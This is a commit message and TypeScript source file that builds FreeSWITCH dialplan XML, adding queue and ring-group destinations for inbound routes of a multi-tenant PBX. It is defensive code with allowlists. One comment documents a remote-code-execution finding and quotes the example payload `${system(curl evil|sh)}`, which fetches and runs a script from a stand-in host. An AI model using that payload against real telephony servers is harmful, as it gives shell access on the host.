Pedido do usuário: "em vez de o campo de destino ser aberto tem que ter um dropdown listando todos os ramais do tennant e tb todas ivr e filas e grupos de ramais do tennant" — até aqui o destino era texto livre. Construir o dropdown revelou que fila e grupo NUNCA tinham sido implementados de verdade como destino possível — só ramal/IVR funcionavam. Oferecer as duas opções sem o mecanismo por trás seria mostrar um dropdown mentiroso, então: InboundRoute.destinationType (novo enum EXTENSION/IVR/QUEUE/CALL_GROUP) decide como buildInboundRouteXml interpreta o destino: - EXTENSION/IVR: inalterado, o mesmo transfer já testado (PHASE 56/58). - QUEUE: destinationNumber guarda o Queue.id; a resolução de entrada emite `answer` + `callcenter data="<queueId>@<domain>"` direto, sem tocar no dialplan "default". `callcenter` entrou no allowlist de applications com o mesmo risco zero de `pickup`. - CALL_GROUP: destinationNumber guarda o Extension.callGroup; a resolução consulta AGORA (nunca um snapshot salvo) todos os ramais com esse callGroup e emite um `bridge` multi-leg — toca todos ao mesmo tempo, quem atender primeiro cancela os outros. Trocar quem está no grupo depois de criar a rota já vale na próxima chamada. Testado ponta a ponta com chamadas reais nos 2 mecanismos novos: fila — softphone externo discou o DID, show channels confirmou a chamada dentro da application callcenter com o nome certo da fila; grupo — 2 ramais reais no mesmo callGroup, a chamada tocou nos DOIS ao mesmo tempo (mesmo call_uuid, ambas RINGING), atender em um cancelou o outro automaticamente — ring group de verdade. Tela: "Tipo de destino" + um segundo dropdown com as opções reais do tenant pra cada tipo (ramais, menus de IVR, filas, ou os valores distintos de callGroup já usados em algum ramal). Testado com Playwright: os 4 tipos aparecem, e trocar o tipo atualiza as opções do segundo dropdown corretamente. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BFaBaBSQGhyXGEgtTYZGV8
239 lines
9.6 KiB
TypeScript
239 lines
9.6 KiB
TypeScript
function xmlEscape(value: string): string {
|
|
return value
|
|
.replace(/&/g, "&")
|
|
.replace(/</g, "<")
|
|
.replace(/>/g, ">")
|
|
.replace(/"/g, """)
|
|
.replace(/'/g, "'");
|
|
}
|
|
|
|
/**
|
|
* Applications de dialplan permitidas (agente.md secao 180: nunca deixar
|
|
* input de tenant virar comando arbitrário no FreeSWITCH — "system",
|
|
* "exec", "socket" etc. ficam de fora de propósito, mesmo que existam
|
|
* módulos capazes de rodá-las).
|
|
*/
|
|
export const ALLOWED_DIALPLAN_APPLICATIONS = [
|
|
"answer",
|
|
"pre_answer",
|
|
"bridge",
|
|
"hangup",
|
|
"park",
|
|
"playback",
|
|
"ring_ready",
|
|
"respond",
|
|
"set",
|
|
"export",
|
|
"transfer",
|
|
"sleep",
|
|
"record_session",
|
|
// Group pickup (agente.md secao 178, PHASE 52) — só recebe o nome do
|
|
// grupo como texto (ou `${user_data(...)}`, já auditado acima), nunca
|
|
// um comando; mesmo padrão de risco zero dos outros já permitidos.
|
|
"pickup",
|
|
// IVR (PHASE 56) — coleta N dígitos numa variable (`min max tries
|
|
// timeout terminators file invalid_file var_name regexp
|
|
// digit_timeout`), nunca executa nada; mesmo padrão de risco zero.
|
|
"play_and_get_digits",
|
|
// Rota de entrada pra fila (PHASE 62) — só recebe `<queueId>@<domain>`
|
|
// como texto, nunca um comando; mesmo padrão de risco zero.
|
|
"callcenter",
|
|
] as const;
|
|
|
|
export type AllowedDialplanApplication = (typeof ALLOWED_DIALPLAN_APPLICATIONS)[number];
|
|
|
|
/**
|
|
* Achado real de segurança (secao 180): o allowlist de `application` acima
|
|
* NÃO bastava. FreeSWITCH expande `${nome(args)}` (chamada de API) dentro
|
|
* de qualquer atributo `data` em tempo de chamada — inclusive de uma
|
|
* application "segura" já permitida como `set`/`export`/`playback`. Com
|
|
* `mod_commands` carregado (está, ver infrastructure/freeswitch), a API
|
|
* `system`/`bg_system` roda comando de shell arbitrário no host do
|
|
* FreeSWITCH. Sem este segundo allowlist, `{"application":"set","data":
|
|
* "x=${system(curl evil|sh)}"}` era RCE completo, alcançável por qualquer
|
|
* Tenant Admin com `freeswitch.configure` (secao 144). `${variavel}` SEM
|
|
* parênteses (ex.: `${destination_number}`) nunca é bloqueado — é só
|
|
* interpolação de valor, não chamada de API.
|
|
*/
|
|
export const ALLOWED_INLINE_API_FUNCTIONS = [
|
|
"user_data", // lookup de variável do directory de outro usuário (pickup group)
|
|
"escape",
|
|
"url_encode",
|
|
"url_decode",
|
|
"regex",
|
|
"strftime",
|
|
] as const;
|
|
|
|
const INLINE_FUNCTION_CALL_PATTERN = /\$\{\s*([a-zA-Z_][a-zA-Z0-9_]*)\s*\(/g;
|
|
|
|
/** Devolve os nomes de função `${nome(...)}` usados em `text` que NÃO
|
|
* estão no allowlist acima — vazio = texto seguro. Usado em `data` de
|
|
* action/anti-action (nunca em `conditionExpr`, que é regex estático,
|
|
* nunca expandido pelo FreeSWITCH). */
|
|
export function findDisallowedInlineFunctionCalls(text: string): string[] {
|
|
const found = new Set<string>();
|
|
for (const match of text.matchAll(INLINE_FUNCTION_CALL_PATTERN)) {
|
|
const name = match[1];
|
|
if (!(ALLOWED_INLINE_API_FUNCTIONS as readonly string[]).includes(name)) {
|
|
found.add(name);
|
|
}
|
|
}
|
|
return Array.from(found);
|
|
}
|
|
|
|
export const ALLOWED_CONDITION_FIELDS = [
|
|
"destination_number",
|
|
"caller_id_number",
|
|
"caller_id_name",
|
|
"context",
|
|
"network_addr",
|
|
"source",
|
|
] as const;
|
|
|
|
export type AllowedConditionField = (typeof ALLOWED_CONDITION_FIELDS)[number];
|
|
|
|
const VARIABLE_CONDITION_FIELD_PATTERN = /^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/;
|
|
|
|
/**
|
|
* PHASE 56 (IVR): além dos campos fixos acima, aceita um `${variavel}`
|
|
* simples (ex.: `${ivr_choice}`, o dígito que `play_and_get_digits`
|
|
* guardou) — é assim que o dialplan ramifica por dígito coletado. O
|
|
* regex exige identificador puro, sem parênteses — nunca bate com
|
|
* `${funcname(...)}` (chamada de API), então o mesmo risco de RCE já
|
|
* fechado pra `data` (secao 180) não se aplica aqui: não tem função pra
|
|
* chamar, só interpolação de valor, igual `${destination_number}` já é.
|
|
*/
|
|
export function isAllowedConditionField(field: string): boolean {
|
|
return (ALLOWED_CONDITION_FIELDS as readonly string[]).includes(field) || VARIABLE_CONDITION_FIELD_PATTERN.test(field);
|
|
}
|
|
|
|
export interface DialplanAction {
|
|
application: AllowedDialplanApplication;
|
|
data?: string;
|
|
}
|
|
|
|
export interface DialplanExtensionInput {
|
|
name: string;
|
|
// string, não AllowedConditionField: PHASE 56 (IVR) também aceita
|
|
// `${variavel}` — validado na entrada da API via isAllowedConditionField,
|
|
// não pelo tipo (ver comentário acima da função).
|
|
conditionField: string;
|
|
conditionExpr: string;
|
|
actions: DialplanAction[];
|
|
antiActions?: DialplanAction[];
|
|
continueOnFalse: boolean;
|
|
order: number;
|
|
}
|
|
|
|
function actionsXml(tag: "action" | "anti-action", actions: DialplanAction[] | undefined): string {
|
|
if (!actions || actions.length === 0) return "";
|
|
return actions
|
|
.map(
|
|
(a) =>
|
|
` <${tag} application="${xmlEscape(a.application)}"${
|
|
a.data !== undefined ? ` data="${xmlEscape(a.data)}"` : ""
|
|
}/>`,
|
|
)
|
|
.join("\n");
|
|
}
|
|
|
|
/**
|
|
* XML de dialplan (agente.md secao 43-44). Uma condição por extension —
|
|
* simplificação deliberada em relação ao FreeSWITCH puro (que permite
|
|
* múltiplas <condition> por extension); cobre o editor estruturado descrito
|
|
* na especificação sem a complexidade de encadeamento arbitrário.
|
|
*/
|
|
/**
|
|
* Contexto sintético "inbound" (PHASE 56, docs/INBOUND_ROUTES.md) — o
|
|
* profile "external" do FreeSWITCH aponta pra este contexto (renomeado do
|
|
* "public" vanilla no Dockerfile), que NÃO tem arquivo estático, então
|
|
* toda chamada de entrada por tronco passa por aqui via mod_xml_curl.
|
|
* Diferente do dialplan do tenant (`buildDialplanXml`, versionado,
|
|
* editável), este XML é gerado direto pela resolução de
|
|
* `InboundRoute.didNumber` — nunca guardado em `dialplan_versions`. Faz só
|
|
* duas coisas: injeta `b2bcall_tenant_id` (nenhuma chamada de entrada
|
|
* carrega isso até aqui) e transfere pro destino real do tenant — o
|
|
* `transfer` dispara uma nova resolução de dialplan (agora já com a
|
|
* variable presente), reaproveitando 100% do dialplan normal do tenant
|
|
* (ex.: a regra "Discagem interna" já testada pro pickup de grupo).
|
|
*
|
|
* `domain_name` TAMBÉM precisa ser setado explicitamente — achado real
|
|
* testando com uma chamada de verdade: sem isso, o `bridge
|
|
* data="user/${"${destination_number}"}@${"${domain_name}"}"` da
|
|
* "Discagem interna" resolve `${"${domain_name}"}` pro domínio GLOBAL
|
|
* default (`$${domain}` do vars.xml, ex.: "b2bcall.local"), nunca pro
|
|
* domínio de verdade do tenant — a leg de entrada não é um ramal
|
|
* registrado, então nada preenche essa variable sozinho.
|
|
*
|
|
* PHASE 62 (dropdown de destino real: ramal/IVR/fila/grupo) — EXTENSION
|
|
* e IVR continuam usando exatamente o `transfer` acima (reaproveitam o
|
|
* dialplan do tenant sem mudança nenhuma). QUEUE e CALL_GROUP nunca
|
|
* passam pelo "default": a própria resolução de entrada já emite a
|
|
* action final, porque nenhum dos dois é "discar um número" — fila é
|
|
* `callcenter` de verdade, grupo é `bridge` simultâneo pra vários ramais.
|
|
* `groupMembers` é resolvido pelo CHAMADOR (apps/freeswitch-config, com
|
|
* acesso ao banco) toda vez que uma chamada de entrada chega — nunca um
|
|
* snapshot salvo, então trocar quem está no grupo já vale na próxima
|
|
* chamada, sem precisar re-salvar a rota.
|
|
*/
|
|
export function buildInboundRouteXml(
|
|
params:
|
|
| { tenantId: string; domain: string; destinationType: "EXTENSION" | "IVR"; destinationNumber: string; destinationContext: string }
|
|
| { tenantId: string; domain: string; destinationType: "QUEUE"; queueId: string }
|
|
| { tenantId: string; domain: string; destinationType: "CALL_GROUP"; groupMembers: string[] },
|
|
): string {
|
|
const setup = ` <action application="set" data="b2bcall_tenant_id=${xmlEscape(params.tenantId)}"/>
|
|
<action application="set" data="domain_name=${xmlEscape(params.domain)}"/>`;
|
|
|
|
let action: string;
|
|
if (params.destinationType === "QUEUE") {
|
|
action = ` <action application="answer"/>
|
|
<action application="callcenter" data="${xmlEscape(params.queueId)}@${xmlEscape(params.domain)}"/>`;
|
|
} else if (params.destinationType === "CALL_GROUP") {
|
|
const legs = params.groupMembers.map((num) => `user/${xmlEscape(num)}@${xmlEscape(params.domain)}`).join(",");
|
|
action = ` <action application="answer"/>
|
|
<action application="bridge" data="${legs}"/>`;
|
|
} else {
|
|
action = ` <action application="transfer" data="${xmlEscape(params.destinationNumber)} XML ${xmlEscape(params.destinationContext)}"/>`;
|
|
}
|
|
|
|
return `<?xml version="1.0" encoding="UTF-8"?>
|
|
<document type="freeswitch/xml">
|
|
<section name="dialplan">
|
|
<context name="inbound">
|
|
<extension name="inbound-route">
|
|
<condition>
|
|
${setup}
|
|
${action}
|
|
</condition>
|
|
</extension>
|
|
</context>
|
|
</section>
|
|
</document>`;
|
|
}
|
|
|
|
export function buildDialplanXml(context: string, extensions: DialplanExtensionInput[]): string {
|
|
const sorted = [...extensions].sort((a, b) => a.order - b.order);
|
|
|
|
const extensionsXml = sorted
|
|
.map((ext) => {
|
|
const actionsBlock = actionsXml("action", ext.actions);
|
|
const antiActionsBlock = actionsXml("anti-action", ext.antiActions);
|
|
return ` <extension name="${xmlEscape(ext.name)}" continue="${ext.continueOnFalse ? "true" : "false"}">
|
|
<condition field="${xmlEscape(ext.conditionField)}" expression="${xmlEscape(ext.conditionExpr)}">
|
|
${actionsBlock}${antiActionsBlock ? `\n${antiActionsBlock}` : ""}
|
|
</condition>
|
|
</extension>`;
|
|
})
|
|
.join("\n");
|
|
|
|
return `<?xml version="1.0" encoding="UTF-8"?>
|
|
<document type="freeswitch/xml">
|
|
<section name="dialplan">
|
|
<context name="${xmlEscape(context)}">
|
|
${extensionsXml}
|
|
</context>
|
|
</section>
|
|
</document>`;
|
|
}
|